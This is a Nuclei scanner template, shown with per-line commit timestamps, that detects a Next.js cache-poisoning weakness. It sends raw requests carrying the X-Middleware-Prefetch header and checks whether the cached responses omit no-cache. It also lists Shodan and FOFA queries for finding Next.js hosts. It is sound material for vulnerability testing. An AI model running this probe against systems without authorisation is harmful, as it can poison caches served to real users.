2024-07-10 15:53:43 +05:30
|
|
|
id: nextjs-middleware-cache
|
|
|
|
|
|
|
|
|
|
info:
|
2024-07-10 23:41:00 +05:30
|
|
|
name: Next.js - Cache Poisoning
|
2024-07-10 15:53:43 +05:30
|
|
|
author: DhiyaneshDk
|
|
|
|
|
severity: high
|
2024-07-10 23:41:00 +05:30
|
|
|
description: |
|
2025-05-27 10:39:47 +08:00
|
|
|
Next.js is vulnerable to Cache Poisoning using X-Middleware-Prefetch.
|
2024-07-10 15:53:43 +05:30
|
|
|
reference:
|
|
|
|
|
- https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole
|
|
|
|
|
metadata:
|
|
|
|
|
verified: true
|
|
|
|
|
vendor: vercel
|
2025-05-27 10:39:47 +08:00
|
|
|
product: next.js
|
|
|
|
|
framework: node.js
|
2024-07-10 15:53:43 +05:30
|
|
|
shodan-query:
|
2025-05-27 02:29:19 +00:00
|
|
|
- http.html:"/_next/static"
|
2025-05-27 10:39:47 +08:00
|
|
|
- cpe:"cpe:2.3:a:zeit:next.js"
|
|
|
|
|
fofa-query: body="/_next/static"
|
|
|
|
|
tags: nextjs,cache
|
|
|
|
|
|
2024-07-10 15:53:43 +05:30
|
|
|
variables:
|
|
|
|
|
rand: "{{rand_text_numeric(5)}}"
|
|
|
|
|
|
|
|
|
|
http:
|
|
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
GET /?cb={{rand}} HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
X-Middleware-Prefetch: 1
|
|
|
|
|
Priority: u=1
|
2024-07-10 15:57:30 +05:30
|
|
|
|
2024-07-10 15:53:43 +05:30
|
|
|
- |
|
2024-07-10 23:41:00 +05:30
|
|
|
@timeout: 10s
|
2024-07-10 15:53:43 +05:30
|
|
|
GET /?cb={{rand}} HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
X-Middleware-Prefetch: 1
|
|
|
|
|
Priority: u=1
|
|
|
|
|
|
|
|
|
|
- |
|
2024-07-10 23:41:00 +05:30
|
|
|
@timeout: 10s
|
2024-07-10 15:53:43 +05:30
|
|
|
GET /?cb={{rand}} HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
|
- type: dsl
|
|
|
|
|
dsl:
|
2025-05-15 13:40:19 +05:30
|
|
|
- "status_code_2 == 200 && contains(all_headers_2, 'X-Middleware-Skip: 1') && !contains(cache_control_2, 'no-cache') && !contains(pragma_2, 'no-cache')"
|
|
|
|
|
- "status_code_3 == 200 && contains(all_headers_3, 'X-Middleware-Skip: 1') && !contains(cache_control_3, 'no-cache') && !contains(pragma_3, 'no-cache')"
|
2024-07-10 15:53:43 +05:30
|
|
|
condition: and
|
2025-05-23 08:28:09 +00:00
|
|
|
# digest: 4b0a004830460221008f5bf3e8be8e67a68c80785161dccd474c56dbeba4e37ce63db451c3e75c5f10022100aaa3edd2d1133ae1fce585e2d1e73a6ccaedd166b721e5e0db2c20b80ac110ad:922c64590222798bb761d5b6d8e72950
|